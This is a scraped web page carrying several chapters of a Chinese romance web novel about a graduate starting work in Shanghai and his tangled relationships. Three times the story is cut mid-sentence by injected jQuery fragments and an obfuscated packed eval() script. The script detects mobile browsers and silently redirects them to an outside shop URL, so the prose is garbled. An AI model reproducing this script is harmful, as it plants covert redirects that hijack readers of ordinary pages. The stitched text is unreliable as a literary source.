$(''#content'').append('' 完全没必要找公司实习。 我缓步至沙发的另一侧坐下,将她耷拉着的腿搬到我的腿上,问道:“如果没有我这个拖油瓶,你的选择应该有很多吧……出国留学?继承家业?再不济也能躺平,这才符合你上海千金的身份!” 相黎依旧闭着眼睛,没有回答我的问题,哼哼道:“把我鞋子脱了。” 刚脱下鞋子,一只脚便踹到了我的脸上。 “真想一只脚塞进你嘴里!躺平符合我的身份,那什么样符合你呢?是不是在拥挤的城市里挤地铁、挤电梯,再挤在一个狭窄的出租屋里,每天对着镜子挤出一个勉强能安慰自己,然而比哭还难看的笑容?这样才符合你顾懿的身份?狗屁!” 我瘫靠在沙发上,回过头来想想,我的人生似乎没有目的,只有过程。就和树一样,越想开向高处和明亮处,我的根就越要向下,向着潮湿的泥土,向着相黎所描绘的那片拥挤的土壤。 “大城市的土壤再拥挤,又怎么能阻挡一颗想要发芽的种子?你说的那种人不是少数,但不是我顾懿,不符合我的身份!我是谁啊?我是一个背着吉他就能穿梭全世界的歌者!” 此刻,我仿佛终于掷地有声,按摩着相黎的脚,我看到了往后无尽的岁月,白天上班,晚上下班回来,我弹着吉他,相黎在一旁拉着大提琴,我们一起琴瑟和鸣,扫尽生活里的忧愁。 “妮妮,有时间帮我问一 下,你那家实习公司还招不招人?” …… 两天后,相黎给了我一个准确的消息,她实习过的那家叫“宸和集团”的公司有空出来的实习生岗位,如果实习期间表现出色的话,有很大希望转正。 兜兜转转,我和相黎拉扯挣扎了这么久,彼此除了换上一份更坚韧的心态之外,其实并没有改变什么东西,毕业之后的目的地依旧还是上海。 第48章 初进宸和 后面几天忙完学校的事,相黎领着我一起去了上海。 在高铁上,我和她一同坐在靠窗的位置,看着窗外疾驰而过的城市残影在不停倒退,直至合肥这座城市离我们越来越遥远。 我问她,为什么毕业后不进自家公司,而是历经辛苦去到陌生公司,看别人脸色做事。 相黎说,她家里只是做点小生意,在上海其他大公司面前根本就不够看,自然也学不到什么东西。 大学里和她相处几年下来,我只是隐约知道相黎家庭条件极其优越;然而,对于她家具体从事的行业以及生意规模大小,我却全然不知。 …… 出上海站后,相黎来到了自己的主场,她瞬间化身导游,带着我熟练地换乘了两班地铁,终于抵达宸和集团。 驻足在宸和集团写字楼下,这栋建筑像是一个沉默的巨人,浑身散发着威严而又神秘的气息。阳光洒在玻璃幕墙上,反射出的耀眼光芒,却无法穿透这冰冷的外表,窥探到其中的奥秘。 我心中不禁涌起对未知的恐惧,但也有一丝隐隐的期待。在上海这座陌生的城市,我们如沧海一粟,如此渺小。 相黎站在我身旁,眼神中也流露出复杂的神色,沉声道:“上去吧,别愣着了,待会儿表现得干练一点,也不用紧张,就当大学里参加社团!” 走进宸和集团,一楼的大厅里挤了一排神情严肃的人,男男女女都有,他们身着笔挺的正装,领带打得一丝不苟,却难掩脸上的焦急之色。 我打趣道:“大公司就是不一样,看那群人着急的样子,看起来一刻都不得闲啊!” 相黎像是没听见我的话,拿起手机拨了一通电话,叽叽喳喳说了一堆,电话结束后,不一会儿迎面就走来一位身材高挑、英气十足的年轻女人。 她迈着沉稳的步伐一步步向我们靠近,原本保持着英气,甚至可以说是有些冷漠的脸庞,在见到相黎后终于是有些缓和,她那如剑般的眉毛微微舒展,眼神中也多了一丝温柔。 她又将目光转到我的身上,上下打量一番后,说道:“你们过来应该早些打个招呼,今天公司麻烦事一大堆!” 相黎刚准备向我介绍面前这个ol风十足的女人,先前在大厅急得团团转的那群人一窝蜂地全围了过来。 “阮总!想见您和季总一面真不容易啊,贵公司和我们的事情必须有个说法!一直拖着可不行,我们全公司上下指望着你们吃饭,季总不能光顾着自己公司做大做强,不管我们的死活呀!” 为首的男人嘴像是租来的,火速地陈述了自己的诉求。 阮总微微扬起下巴,目光缓缓扫过众人,神色平静地说道:“这里是总公司,主要负责宏观层面的决策和管理,并非处理具体业务问题的地方。各位若遇到问题,前往景海地产的负责部门进行对接才是最为明智之举。景海地产设有专业的团队和完善的流程,他们对具体情况的把握更为精准,能够更加高效地为大家解决实际问题;而总公司这边事务繁多,难以对每一个具体的业务纠纷做到事无巨细地处理。” 队伍中一位身材魁梧的男子站了出来,满脸愤懑,大声说道:“跟景海的小季总说了几个月,也没个准信……两千万放银行里,几个月的利息也不是一笔小数目吧?结不了尾款,发不出工资,我们也要养活底下人啊!小季总做不了主,我们必须找季总讨个说法!” 阮总皱起眉头,陷入沉思。片刻后,她转过头,目光落在相黎身上,又迅速扫了一眼人群,沉声道:“你们派个代表随我上去……相黎,你们俩也一起。” …… 宸和集团七楼会客室内,宸和工作人员将一台 ipad 恭敬地放在阮总面前的黑色木质茶几上。随后,阮总的一通电话让景海地产工作人员将项目资料发了过来,供她查阅。 相黎和我,以及两个纠纷单位的代表一同坐在阮总对面的皮质沙发上,气氛略显严肃。 初来乍到,我面对正对面那个气场极其强势的阮总,心里还是有些拘束。我不自觉地挺直了脊背,目光不时地在阮总和纠纷代表之间游移。纠纷单位的代表满脸凝重,眼神紧紧地盯着阮总,在等待着一个至关重要的解决方案。 片刻过后,阮总放下手中的ipad,不徐不疾道:“刘总,合同我仔细看了一遍,我司和贵公司也是合作多年的老朋友了,工程款肯定不会少你们的……” 和我坐一起的刘总闻言,神色有一丝的不耐烦,想必是这套说 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阮总挥挥手,示意他们冷静,说道:“尽管账上资金周转不顺,但也是我们宸和底下的子公司,打着宸和这块招牌吃饭的兄弟,我们不会不管!一星期时间,我们会处理景海的资金问题,他们要是周转不开,总公司给他们兜底,不存在拖欠尾款这种不光彩的事!” 两个代表看起来心里还是没底,手上动作有些扭捏,问道:“这话算数?” 阮总严肃道:“我的话就是季总的意思,季总的意思就代表整个宸和。” 得到明确的答复过后,他们又说了一大段正确的废话,走了过场。 话缝间,阮总又向刘总二人提起我和相黎,点名我和相黎都是名牌大学应届毕业生,正准备入职景海地产。 我接过阮总的话,说道:“大四毕业,我们班几个做梦都想拿到景海地产的offer,名额有限,咱们专业就我和她通过面试了。” 两个代表不苟言笑,一番客套之后便被秘书送下了楼。 …… 处理完工程款纠纷的事,会客室只剩下我和相黎,还有阮总。 相黎起身,走到阮总身边,为她按摩肩膀,说道:“你刚才真在看合同?” “在刷抖音,没开声音。” 第49章 蚂蚁 对面这个带有些许高傲的女人,让我有些大跌眼镜。身处一个极其严肃的场合,严肃到对方公司的代表都如坐针毡,全在等她一个人的答复,她却面上严肃,实则悠然地在刷短视频。 相黎笑着和我介绍,阮总名叫阮宜,从伦敦大学留学回来后,便在宸和集团任职,目前作为董事长助理,打理宸和的大多数业务,同时也是相黎实习期间的领路人,她们虽然年纪相差七八岁,关系却异常要好,形同姐妹。 阮宜微微眯起双眸,轻轻拿过相黎为她按摩肩膀的手,目光缓缓转向我,嘴角勾起一抹似有若无的弧度,不紧不慢地说道:“年轻人倒是有几分小聪明,不过在这社会上,不需要太聪明的人!” 她顿了顿,察觉到我的满脸疑惑,扬起下巴,继续说道:“有些场面话是不能说破的。你那么明显地告诉人家想来景海地产,这不是把人家当傻子吗?你越是这么说,反而会让人家觉得景海地产真的是在走下坡路了…… 刚毕业的大学生啊,果真是一张白纸……” 相黎打圆场道:“正因为是一张白纸,我们才需要跟姐后面多学呀!” “跟我后面能学什么?你的简历我也看了,你这么想去景海,那就先去项目上多历练历练!相黎,你留我这儿,路还长,要学的东西还多……” 阮宜简短交代了几句后,便留下我和相黎在公司会客室,去忙活自己的事情去了。 相黎从背包里抽出笔记本电脑,正式向我介绍宸和集团以及我即将要奔赴的景海地产。 先前在学校里收拾得匆忙,相黎只说了带我去一家公司实习,并未过多介绍,她打开公司的网页介绍,我才看到宸和集团的全貌,以及那个熟悉的“景海地产”。 阮宜处理纠纷事件时,嘴里不停念叨着的“景海”,我便觉得熟悉,现在从相黎的电脑屏幕上看到“景海”的字眼,我才终于能确定,“景海地产”便是之前在校园春季招聘会上的那家地产公司。当时因为虞寒艳的百般劝阻,我递了简历却没有参加面试。 我问:“宸和旗下是不是还有一家做生物医药的分公司?” “没错,在一几年的时候,公司的主营业务便从地产慢慢偏向生物医药和互联网金融了……地产行业如今已进入了后周期时代,随着人口结构、经济转型以及城镇化减速等因素影响,住宅需求中枢下移,企业高杠杆、高成长和高利润的野蛮生长方式无以为继。人口和城镇化趋势也不支持地产行业继续高速发展,房地产业务盈利一般,在总公司投入景海地产的份额正在逐渐缩减,景海出现资金链断裂的现象也能理解。” 听着相黎高谈阔论宸和集团当今的大形势,我不是很明白,我避开这个话题说道:“顾嘉,也就是我姐,好像在宸和底下的那家医药公司,当初也是她推荐我给景海地产投简历……” 相黎哑然,旋即笑道:“那很好啊,景和医药的潜力巨大,经过这几年大环境的冲击,景和医药现在才是宸和集团实业的主心骨。” “那你呢,你学经济的,要想在宸和做事,会被派到另外一家主打金融业的分公司吗?如果真是那样的话,那咱几个可真行,把宸和集团的几家分公司全部占领了!” “听你这么一说,好像还真是这么回事!不过我嘛,没你们那么大野心啦,现在还是要以学为主,学无止境,公司经营也是一门艺术,太深了……” …… 处理好宸和集团入职人事这块的事,已临近中午,我和相黎在宸和的食堂里吃了顿员工餐。饭后,相黎回了趟家,我坐了几班地铁,兜兜转转来到宝山区,在地铁口不远处租了套月租2000的单身公寓,这个地方只需换两班地铁就能直达景海地产。 一个人收拾好房间后,我坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039939|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在空荡荡的房间里抽着烟,回想着学生时代的点点滴滴,失了神。 等回过神来,已然傍晚,我推开窗户,闻着大城市晚风的味道,没有芬芳,风里似乎全是水泥的味道。 人们似乎生活在一堆水泥里,可他们却管这叫大城市。这里并不破烂,相反地,这里高楼耸立,灯光闪烁,夜不能寐。人们站在水泥路面上抬头望天,却被遍地的高楼遮得只能从缝隙里找寻,人们将这称之为现代化,是人类历史高光。 我和目光所及的像蚂蚁的人们一样,蚂蚁一样的人群乌压压地穿梭在这片水泥里。蚂蚁时常望天,总是生出想逃离这里的心思,但低头时却发现脚下的水泥已经软化成了沼泽,沼泽里有一生所需的资源,也有让它挪不出脚的苔藓,它只能匍匐前进。 我用手机拍下楼下的蚂蚁,发了朋友圈,期待着自己的大城市生活如何开始,如何发展,以及如何结束。 蚂蚁们喜悦,恐惧,却又想得到更多。 …… 到了吃晚饭的时间,我下意识地掏出手机,给相黎发了一条消息,询问她是否过来和我一起吃饭。消息发送出去的那一瞬间,我突然意识到这个问题实在是有些多余。久别重逢之后回到家中,陪伴家人那是再正常不过的事情,本就是人之常情、理所应当。 没过多久,相黎的回复便传了过来,果不其然,和我预想的一样。她嘱咐我自己找个 地方随便应付一下,还贴心地给我推荐了几个上海本地吃饭的好去处。 只是她不知道,我对吃饭的地方其实并不在意,我仅仅是想和她在一起吃。 我准备去楼下买桶泡面对付一下,云舒这时微信上问我是不是在上海。 在合肥时和她相遇没有什么特别的感觉,身在异乡为异客,听到故人的问候竟觉得格外亲切。 …… 第50章 云舒的朋友 和云舒简单在微信上简单交谈过后,她发来了一个位置,是静安区的一家livehoe。她说晚上如果我有空的话,可以去听她唱歌,十点过后去就能看到她。 天色渐暗,城市的灯火渐次亮起。我站在街边抽烟,望着来来往往下班的人群,我想象着她在 livehoe 里的模样,那个和相黎一样爱听张悬的女孩,那个把“我拥有的都是侥幸,失去的都是人生”挂在嘴边、充满矛盾的女孩。 可漫长的路程像一道无形的屏障横在了我面前,那家livehoe和我现在的位置有一个多小时的车程,一想到要在拥挤的车厢里度过漫长的一小时,我生理上就很不舒服。 抽完一支烟,我到路对面一家叫牛二哥牛肉汤的小馆子坐下,这家店的店门不大,招牌上的字却格外醒目,散发着一种朴实的烟火气息。 我点了一碗招牌牛肉汤,看着热气腾腾的汤碗,心想今晚就得过且过,晚上睡个好觉,保持一个好的精神面貌,明天上午去景海地产报到。 正吃饭的时候,云舒又弹了一个语音电话过来。 她问:“怎么说,要过来吗?” “太远了,过不去,你还以为是在合肥呢?” “你把位置发过来,我看看……” 她的语气坚定,没给我拒绝的理由。无奈之下,我按照她的要求,发了位置给她,并且告诉她我明天要去上班,试图以此打消她的热情。 “宝山那边我有个朋友,你可以搭个顺风车,等会他带你过来,晚上见!” 云舒心意已决,我便没有再拒绝下去的理由,就好比摆在我面前的这碗牛肉汤,在店里其他客人眼里,或许只是下班过后经常吃的一碗面罢了,但我却吃出了其他的味道,因为这是我来上海的第一顿晚饭,每一口都像是在咀嚼着我初来这座繁华大都市时的那种陌生与期待。 云舒驻唱的那家livehoe也是一样,对于常去那里的客人可能没什么稀奇,但在我眼中又是别样的感觉,因为这决定着我在上海的第一个夜晚究竟会如何度过。 …… 最终,我还是听了她的安排,吃完饭便在路边点了一支烟,等候着她那个开车带我过去的朋友。 没过多久,一辆上海牌照的帕拉梅拉精准地停在我身前,朝我不停地打着双闪。 我不认为这是云舒的朋友,因为我们毕竟素未谋面。我下意识地给它腾了位置,有可能它只是单纯地想暂时停在这里,才会打起双闪。 可下一秒,眼前的场景便狠狠地将我拉回现实。 看着从这辆蓝色保时捷上下来的男人,我心中不禁一震,我认识他,即使只有一面之缘,他给我留下的印象也是不浅。 宁致,那个言语中将相黎说得无比亲昵的男人。 我不自觉地又点上了一支烟,故意把目光投向远处的街道,试图无视他,毕竟谁也不会想到我们会在这里相遇。 “我的车上可不能抽烟的哦!”他目光却紧紧锁住了我,径直走向我,似笑非笑地说道。 我狠狠地吸了一口烟,问道:“你就是云舒的那个朋友?” 宁致一副不置可否的神情,低头看了看地上我刚扔下的烟头,撇了撇嘴说道:“你烟瘾不小啊,相黎那么讨厌烟味的一个人,不知道怎么受得了你的……” 他的话如同尖针一般,直直地刺入我的心头,这几年相黎从未在我面前提过受不了烟味这件事,我也就没当回事。 想起前段时间,相黎还特意给我带了烟,我心里更是五味杂陈,她一直为我的坏习惯在默默改变着自己,我却迟钝到察觉不到她的付出。 我再次猛吸了一口烟,问道:“来一支?” “我做声乐的,抽烟对嗓子不好。” “还挺矫情,烟也不抽能做出好音乐吗?” 他很平静,并没有因为我的话而生气,而是向我解释道:“我和你说的那种歌手不一样,听相黎说和你在大学里组过乐队,乐队的唱法和我主声乐的不同……” “是不一样,我一个驻唱又兼职卖酒的,和你这种坐录音棚的确实不一样!” 我有些烦躁地弹了弹烟灰,不得不承认,不管我对眼前这个男人有多么不感冒,他也是圈子里一个小有名气的新星,还有那辆符合他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039940|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份的保时捷,都与我这副吊儿郎当,只顾着在路边抽烟的潦倒模样格格不入。 “抽完了吗?车没熄火呢,别让云舒在那边等着急了!” 同他上车后,保时捷的座椅不仅没让我感觉到些许舒适感,反倒是如坐针毡,我仿佛置身于一个不属于自己的世界,显得那么的局促和不安。 来到这座大都市后,我再一次觉察到自己和他们之间的差距。去年在合肥的酒吧里,彼此之间无非只是台上驻唱和台下客人的关系,另一层我不愿意直视的关系,也只不过是情敌罢了。然而,走出校园踏入社会后,我愈发清晰地感觉到了我和他之间泾渭分明的阶级划分。 只是和宁致有这样的差距吗?那相黎呢? 当我现在还只是个穷学生的时候,他就已经小有成就,开得车也是帕拉梅拉,我活到现在摸过的最贵的方向盘还是相黎 的那辆“代步车”。 “在想什么?” 上车后,车内的气氛沉闷得如同暴风雨来临前的压抑,我们二人一直沉默着,宁致突然开口问起我。 “没有,只是好奇云舒口中的那个朋友会是你……” “不是在想云舒怎么会让相黎的男朋友来接另一个男朋友?” 宁致看似漫不经心的话如同一颗炸弹,瞬间在这狭小的车内空间炸开。 在我咂舌之际,他紧接着补充道:“开个玩笑,我就是想当相黎的男朋友,她还不愿意呢!那一次我就是帮她把把关……” 待他说完,我沉默了。 他一改漫不经心的语气,说道:“相黎她是个固执的小大人,困在自己构想的童话世界里,固执地想无限延长她的童年……一个女人偏执到精神贫瘠的时候,无论她有多少能力和资源,都无法拯救她的困境。” “顾懿,你记住,我只是帮她把关,仅此而已!你不合格的话,就要出局!” 我看着极其认真的宁致,不禁有些动容,他对相黎确实有一份独特的感情,我短短地回应他道:“我会的。” “所以,你能告诉我,你为什么要晚上这么大老远去见另一个女人了吗?” 第51章 他是我男朋友 宁致的脸色忽然变得极其严肃,审判的目光直勾勾地注视着我…… “所以呢,这就是你愿意接我的原因吗?” 宁致不语,依旧等待着我的回答。 “朋友而已,男女有这么重要吗?”我问。 “重要!说句实话,要换作另一个女孩的男朋友这副样子,我才没心思去管……可能处在这个快餐时代,爱情在年轻人眼里似乎很廉价,前一晚才确定关系,第二天就要面临离别的丑陋爱情比比皆是……但是在相黎眼里,没有什么比人和人之间的感情更重要,对她来说,这些虚无的东西比她自己都重要,为此她可以忽视自己的爱好、习惯、梦想,甚至人生……” 宁致重重地叹了口气,脸上写满对相黎的担忧之色,对我说道:“我说的这些,你明白吗?” 我透过车窗,看着窗外疾驰而过的,如墨般浓稠的黑夜。 上海的城市高速路上也并不是一路灯光璀璨,在光影交错之间,我无奈地说着:“我和她是你口中的同一类人……” “我对你不满意,云舒倒是挺认可你的,你对她们来说,身上似乎有种看不见、摸不着的吸引力,我不理解。” 吸引力吗?我这个人极其普通,无非是和她们同样有着一段难以言说的悲痛过往,如同一道深深刻在心底的伤痕,时不时隐隐作痛。 她们需要我的时候,我是黑夜,我们是连在一起的星光;不需要我的时候,我便是一个白天,我们是两个世界。 …… 抵达云舒所在的地方,已经将近8点,在宁致的带领下,我们一路来到了驻唱乐队的后台。 时隔大半年,在后台我终于再一次见到了云舒,那个谜一样忧伤的女人…… 她身着一袭简约的黑色长裙,长发如瀑般垂落在肩头。此刻她正在后台和其他人围在玻璃茶几上吃卤味,见我和宁致来了,连忙起身放下了手中的一次性筷子。 “顾懿,你终于来了,我等你等得好辛苦!” 云舒对我的到来似乎很高兴,接着又问起我们:“晚饭吃过了吗?尝尝我们后厨师傅做的卤味,纯手工制作,味道超级棒!” 宁致笑着摇头,对我说道:“我算是这里的常客,味道确实可以,你试试看……” 云舒递给我一副一次性手套,示意我尝尝他们后厨的手艺,并向坐在茶几上的众人介绍起我。 “他就是我男朋友!” 这一句晴天霹雳差点让我闪了舌头,嘴里咀嚼着的鸭脖上的辣子呛得我眼泪直流。 云舒见状,急忙抽了两张纸巾给我擦拭着眼角呛出来的泪水,背着众人朝我眨眼睛。 我还没从这突如其来的状况中反应过来,宁致已经对我投来厌恶的眼神,他的脸上写满了不满。 云舒对着茶几旁坐着的众人说道:“包子,他和你一样,是一个很优秀的吉他手!” 那个叫包子的男人微笑点着头,客套道:“以后常来玩,有机会切磋一下琴技。” “宁致对这里很熟了……顾懿,我向你介绍,这几位就是我们演出时的乐队成员,吉他手包子,键盘手泡面,鼓手飞机,贝斯手熊猫,主唱可可、阿旭、葫芦。” 乐队众人报以微笑,唯独那个叫泡面的键盘手和宁致一样面露冷色,他起身向外面走去,走到门口留下一句:“差不多了,我先去调试设备,热热场。” 宁致用胳膊抵了我一下,示意我离开后台。 …… “这就是你说的,和她是一类人?” 宁致将我拽到洗手间,相对于店里其他地方,这里的音乐声弱了不少,以至于我能很清楚地听出他语气的不满。 “这里面有误会!” 他并没有听进去我的辩解,怒道:“云舒和相黎都是好姑娘,你最好离她们远一点,不要玩弄她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039941|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感情!” “你不觉得奇怪吗?云舒既然都知道我有相黎这个女朋友,还要和我处对象,难不成是在找绿吗?好好动脑子想一下,你没发现她是故意说给那些人听的吗?那一晚在合肥酒吧里,我为她做了一次挡箭牌,不信你自己去问她!” “我不管什么挡箭牌,相黎知道这件事吗?” “不知道。” “我会告诉她的!” “随你。” …… 云舒在离主舞台不远处,为我和宁致预留了一个卡座。我和宁致出洗手间后,她便朝我们招手。 “我的亲姐姐,你应该提前和我说一声,让我有点准备,我身边这个暴躁小伙已经恨不得想揍我一顿了!” 云舒向我报以歉意,眼里充满愧疚,她和宁致解释一番后,哀求着宁致帮她保守秘密,随后便走向后台,消失在了我们的视线里,徒留下话不投机的两个男人在卡座上喝着闷酒。 “这下信了吗?”我点上一支烟,烟雾飘在我和宁致之间,模糊了我们的视线。 宁致没有立刻回答我,而是一口气干掉了一整瓶啤酒,喘着粗气说道:“拜托,你似乎并没有搞清楚状况!一个萍水相逢的女人就能和你很轻易地发生点故事,那你生活中的其他女人呢?你是相黎的男朋友,你完全有理由拒绝这些故事 的开始……或者说,相黎在你的故事里,也只不过是众多女主角的其中一个,你不觉得你的感情太廉价,太大众了吗?想当中央空调?掂量好自己究竟有多大功率!” 我深知,继续辩解下去,他也是左耳朵进,右耳朵出。于是,我选择了沉默,任由那压抑的氛围在我们之间蔓延。 半晌后,他出奇地问我要了一支烟,先前他还口口声声说着做声乐要保护嗓子之类的话,此刻完全被他抛之脑后。 他点上烟后,给我说起相黎的过往,那个他眼里的相黎……